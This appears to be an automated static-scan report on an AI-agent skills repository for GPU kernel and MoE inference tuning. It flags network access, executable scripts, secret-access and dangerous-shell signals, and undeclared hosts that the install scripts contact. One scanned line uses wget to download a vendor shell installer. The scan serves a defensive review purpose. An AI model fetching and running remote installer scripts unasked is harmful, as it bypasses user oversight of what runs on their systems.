- DB schema, runtime key (`_INDEX_COLS`), kernel names, deploy env: `ROCm/aiter@b467ce342:aiter/configs/tuned_fmoe.csv`, `aiter/fused_moe.py`, `aiter/jit/core.py`. - MoE 2-stage tuner (`--errRatio` default 0.5): `ROCm/aiter@b467ce342:csrc/c - Network accessline 107
- MoE 2-stage tuner (`--errRatio` default 0.5): `ROCm/aiter@b467ce342:csrc/ck_gemm_moe_2stages_codegen/gemm_moe_tune.py`. - up to 3× fused MoE / block-scale fp8 (DeepSeek-V3, MI300X): https://rocm.blogs.amd.com/software-tools-optimization/a - Network accessline 108
- up to 3× fused MoE / block-scale fp8 (DeepSeek-V3, MI300X): https://rocm.blogs.amd.com/software-tools-optimization/aiter-ai-tensor-engine/README.html - Network accessline 109
- 10× align & sort (sort step): https://www.amd.com/en/blogs/2025/revolutionizing-mixture-of-experts-performance-10.html - Network accessline 110
- FlyDSL A4W4 latency (MI355X) + MoRI in-kernel EP fusion: https://www.lmsys.org/blog/2026-05-28-mori/ - Network accessline 111
- Kimi-K2.5 FlyDSL FusedMoE (−65% TTFT / −69% TPOT / +162% tput): https://rocm.blogs.amd.com/artificial-intelligence/kimi-k2.5-optimize/README.html - Network accessline 112
- MXFP4 GEMMs ≈62% of Llama2-70B e2e: https://rocm.blogs.amd.com/artificial-intelligence/mlperf-inference-v6.0/README.html - Network accessline 113
- masked/contiguous grouped GEMM concept: https://github.com/deepseek-ai/DeepGEMM - Network accessline 114
- Triton per-shape JSON tuning: https://pytorch.org/blog/enabling-vllm-v1-on-amd-gpus-with-triton/
src/hyperloom_arbor/.claude/skills/kernels/reference/local_knowledge/framework/aiter/overall/tuning_db.md
- Network accessline 12
- ROCm/aiter@b467ce3425cceeafe4f5587212d36df46feeb265:gradlib/gradlib/gemm_tuner.py - ROCm/aiter@b467ce3425cceeafe4f5587212d36df46feeb265:aiter/jit/core.py - https://github.com/ROCm/aiter - Network accessline 13
- ROCm/aiter@b467ce3425cceeafe4f5587212d36df46feeb265:aiter/jit/core.py - https://github.com/ROCm/aiter --- - Network accessline 14
- https://github.com/ROCm/aiter
src/hyperloom_arbor/.claude/skills/kernels/reference/local_knowledge/framework/aiter/skills/optimize/aiter_levers/flydsl_path.md
- Network accessline 90
`aiter/ops/flydsl/utils.py` (`is_flydsl_available`), `aiter/tuned_gemm.py` (flydsl gate + dispatch), `csrc/gemm_a16w16/gemm_a16w16_tune.py` (`--libtype flydsl`). - FlyDSL A4W4 → CK fallback for fused MoE: https://github.com/ROCm/aiter (RE - Network accessline 92
- FlyDSL A4W4 → CK fallback for fused MoE: https://github.com/ROCm/aiter (README, fused MoE backend selection).
src/hyperloom_arbor/.claude/skills/kernels/reference/local_knowledge/languages/flydsl/skills/optimize/flydsl_levers/kernel_families.md
- Network accessline 46
Vendor-reported ([AMD blog](https://rocm.blogs.amd.com/artificial-intelligence/kimi-k2.5-optimize/README.html), MI300X gfx942, ROCm 7.2.0, PyTorch 2.9.1, aiter
src/hyperloom_arbor/.claude/skills/merge-optimization-trees/scripts/overlap.py
- Executable scriptline 1
#!/usr/bin/env python3
src/hyperloom_arbor/.claude/skills/realtime-collector/SKILL.md
src/hyperloom_arbor/arbor/dashboard/server.mjs
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 420
const server = createServer(async (req, res) => { try { const url = new URL(req.url ?? "/", "http://localhost"); - Network accessline 421
try { const url = new URL(req.url ?? "/", "http://localhost"); if (req.method !== "GET") return send(res, 405, "method not allowed", { "Content-Type": "text/plain" }); - Network accessline 422
const url = new URL(req.url ?? "/", "http://localhost"); - Network accessline 432
server.listen(cfg.port, "127.0.0.1", () => { console.log(`[dashboard] ${cfg.mode} mode: http://localhost:${cfg.port}`); - Network accessline 433
console.log(`[dashboard] ${cfg.mode} mode: http://localhost:${cfg.port}`);
src/hyperloom_kb/skills/hyperloom-kb/SKILL.md
src/kernelforge/knowledge/local_wiki/resources/languages/flydsl/skills/profile/kernel-trace-analysis/SKILL.md
- Network accessline 122
wget -q https://github.com/ROCm/rocprof-trace-decoder/releases/download/0.1.6/rocprof-trace-decoder-manylinux-2.28-0.1.6-Linux.sh
src/kernelforge/knowledge/local_wiki/resources/languages/flydsl/skills/profile/kernel-trace-analysis/scripts/hotspot_analyzer.py
- Executable scriptline 1
Executable file
src/kernelforge/knowledge/local_wiki/resources/languages/flydsl/skills/profile/kernel-trace-analysis/scripts/pmc_l2_analyzer.py
- Executable scriptline 1
Executable file
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Declared and executed: 4 facts
- Contacts api.deepseek.com, which SKILL.md, the README and the plugin manifest do not mentioninference_optimizer/assets/install.sh:571High confidence
- Contacts download.pytorch.org, which SKILL.md, the README and the plugin manifest do not mentioninference_optimizer/assets/install.sh:847High confidence
- Contacts wheels.vllm.ai, which SKILL.md, the README and the plugin manifest do not mentioninference_optimizer/assets/install_baremetal.sh:77High confidence
- Contacts pypi.org, which SKILL.md, the README and the plugin manifest do not mentioninference_optimizer/assets/install_baremetal.sh:875High confidence
Signal confidence: 496 facts
- Network access in prose of documentationdocs/reference/multi-node.md:30Low confidence
- Network access in prose of documentationdocs/reference/multi-node.md:31Low confidence
- Access to secrets in code of documentation: reads a credential storedocs/reference/multi-node.md:87Low confidence
- Network access in prose of documentationdocs/reference/multi-node.md:154Low confidence
- Network access in prose of documentationdocs/reference/multi-node.md:155Low confidence
- Network access in prose of documentationdocs/reference/multi-node.md:349Low confidence
- Network access in prose of documentationdocs/reference/multi-node.md:350Low confidence
- Network access in prose of documentationdocs/reference/multi-node.md:351Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valuehyperloom-custom-advanced/SKILL.md:238Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valuehyperloom-custom-advanced/SKILL.md:239Low confidence
- Dangerous shell operation in code of the SKILL.mdhyperloom-custom-advanced/SKILL.md:393High confidence
- Access to secrets in prose of the SKILL.mdexamples/hyperloom-qwen3-14b-fp8-12h-forge/SKILL.md:157Low confidence
- Access to secrets in prose of the SKILL.mdhyperloom-qwen3-14b-fp8-12h-forge/SKILL.md:157Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueexamples/hyperloom-qwen3-14b-fp8-12h-forge/SKILL.md:178Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valuehyperloom-qwen3-14b-fp8-12h-forge/SKILL.md:178Low confidence
- Access to secrets in prose of the SKILL.mdhyperloom-qwen3-14b-fp8-12h/SKILL.md:131Low confidence
- Access to secrets in prose of the SKILL.mdexamples/hyperloom-qwen3-14b-fp8-12h/SKILL.md:131Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valuehyperloom-qwen3-14b-fp8-12h/SKILL.md:152Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueexamples/hyperloom-qwen3-14b-fp8-12h/SKILL.md:152Low confidence
- Access to secrets in code of the SKILL.mdhyperloom-qwen3-14b-fp8-12h/SKILL.md:342High confidence
- Access to secrets in code of the SKILL.mdexamples/hyperloom-qwen3-14b-fp8-12h/SKILL.md:342High confidence
- Access to secrets in code of the SKILL.mdhyperloom-qwen3-14b-fp8-12h/SKILL.md:344High confidence
- Access to secrets in code of the SKILL.mdexamples/hyperloom-qwen3-14b-fp8-12h/SKILL.md:344High confidence
- Access to secrets in prose of the SKILL.mdhyperloom-qwen3-8b-3h/SKILL.md:125Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valuehyperloom-qwen3-8b-3h/SKILL.md:146Low confidence
- Executable script in a comment of a file that runscritic/__init__.py:1Low confidence
- Executable script in a comment of a file that runscritic/runtime/__init__.py:1Low confidence
- Executable script in a comment of a file that runscritic/runtime/cli.py:1Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuecritic/runtime/cli.py:28Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuecritic/runtime/cli.py:29Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuecritic/runtime/cli.py:30Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuecritic/runtime/cli.py:32Low confidence
- Executable script in a comment of a file that runscritic/runtime/dead_letter.py:1Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuecritic/runtime/dead_letter.py:51Low confidence
- Executable script in a comment of a file that runscritic/runtime/decision_reviewer.py:1Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuecritic/runtime/decision_reviewer.py:279Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuecritic/runtime/decision_reviewer.py:293Low confidence
- Executable script in a comment of a file that runscritic/runtime/errors.py:1Low confidence
- Executable script in a comment of a file that runscritic/runtime/importance_mapping.py:1Low confidence
- Executable script in a comment of a file that runscritic/runtime/in_memory_kb_client.py:1Low confidence
- Executable script in a comment of a file that runscritic/runtime/inbox_parser.py:1Low confidence
- Executable script in a comment of a file that runscritic/runtime/intent_envelope.py:1Low confidence
- Executable script in a comment of a file that runscritic/runtime/kb_client.py:1Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuecritic/runtime/kb_client.py:68Low confidence
- Network access in code of a file that runscritic/runtime/kb_client.py:105High confidence
- Network access in code of a file that runscritic/runtime/kb_client.py:106High confidence
- Network access in code of a file that runscritic/runtime/kb_client.py:107High confidence
- Network access in code of a file that runscritic/runtime/kb_client.py:108High confidence
- Network access in code of a file that runscritic/runtime/kb_client.py:109High confidence
- Executable script in a comment of a file that runscritic/runtime/kb_writer.py:1Low confidence
and 446 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Native | Path .claude/skills/analyze-upstream-pr/SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Native | Manifest AGENTS.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md docs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md docs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Native | Manifest .github/copilot-instructions.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md docs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.